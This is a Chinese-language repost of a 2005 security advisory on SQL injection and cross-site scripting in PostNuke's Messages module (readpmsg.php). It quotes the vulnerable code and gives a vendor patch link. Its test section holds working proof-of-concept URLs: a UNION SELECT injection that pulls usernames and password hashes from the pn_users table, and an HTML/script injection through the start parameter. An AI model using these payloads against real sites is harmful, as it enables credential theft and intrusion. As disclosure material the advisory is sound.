| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 
课件制作网.
收藏本站
设为首页
安全365
PostNuke SQL注入和跨站脚本漏洞
PostNuke SQL注入和跨站脚本漏洞
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-25 10:59:17
发布日期:2005-05-30
更新日期:2005-05-30

受影响系统: 
PostNuke PostNuke 0.76 RC4a
PostNuke PostNuke 0.76 RC4
PostNuke PostNuke 0.750
描述: 
--------------------------------------------------------------------------------
BUGTRAQ  ID: 13789

PostNuke是开放源码,开放开发的内容管理系统(CMS)。

PostNuke中存在SQL注入和跨站脚本漏洞,影响Messages模块,可能允许攻击者修改SQL请求的逻辑,在用户浏览器上执行任意HTML和脚本代码。

PostNuke的readmsg.php脚本没有充分过滤start参数值,攻击者可以提交恶意SQL命令作为此参数数据,导致更改原来的SQL逻辑,可造成数据库更改或信息泄露。

<*来源:sp3x (sp3x@securityreason.com)
  
  链接:_blank>http://marc.theaimsgroup.com/?l=bugtraq&m=111721364707520&w=2
*>

测试方法: 
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/modules/Messages/readpmsg.php

=======================
$sql = "SELECT $column[msg_id] AS /"msg_id/",
                    $column[msg_image] AS /"msg_image/",
                    $column[subject] AS /"subject/",
                    $column[from_userid] AS /"from_userid/",
                    $column[to_userid] AS /"to_userid/",
                    $column[msg_time] AS /"msg_time/",
                    $column[msg_text] AS /"msg_text/",
                    $column[read_msg] AS /"read_msg/"
            FROM $pntable[priv_msgs]
            WHERE $column[to_userid]=’" . (int)pnVarPrepForStore($userdata) . "’";

    $resultID =& $dbconn->SelectLimit($sql,1,$start);
    if($dbconn->ErrorNo()<>0) {
        error_log("DB Error: " . $dbconn->ErrorMsg());
        echo $dbconn->ErrorMsg() . "<br />";
        forumerror(0005);
    }
=======================

首先登陆到postnuke,然后向自己发送消息,之后:
http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0[SQL inj]&total_messages=1

注意:
------
total_messages=1 - total_messages的ID必须存在。

之后就可以看到以下错误消息: 

error message :
---------------
========================
You have an error in your SQL syntax; check the manual that corresponds to your MySQL /
server version for the right syntax to use near ’[SQL injection],1’ at line 10 /
========================

SQL注入攻击:
=======================

http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null%20FROM%20pn_users%20WHERE%20pn_uid=2/*&total_messages=1

跨站脚本攻击:
============================

http://[target]/[postnuke_dir]/modules.php?op=modload&name=Messages&file=readpmsg&start=0’<h1>cXIb8O3 and sp3x - SecurityReason</h1>&total_messages=1

然后就可以得到:

error message :
---------------
========================
You have an error in your SQL syntax; check the manual that corresponds to your MySQL /
server version for the right syntax to use near ’’[Our XSS],1’ at line 10 /
========================

建议: 
--------------------------------------------------------------------------------
厂商补丁:

PostNuke
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://news.postnuke.com/Downloads-index-req-viewdownloaddetails-lid-471.html【转自世纪安全网 http://www.21safe.com】
文章录入:admin    责任编辑:admin 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    Hastymail IMAP/SMTP远程
    Hastymail IMAP/SMTP远程
    Microsoft Word邮件合并
    Microsoft索引服务查询验
    PostgreSQL多字节字符编
    Microsoft管理控制台重新
    MKPortal跨站脚本及SQL注
    别再叫我网管(Master)
    亦真亦假的Svchost.exe
    Windows系统专用木马、间

    Copyright © 2006-2008 www.anquan365.com 安全365
    建议使用1024*768分辨率及第三方浏览器对本站进行浏览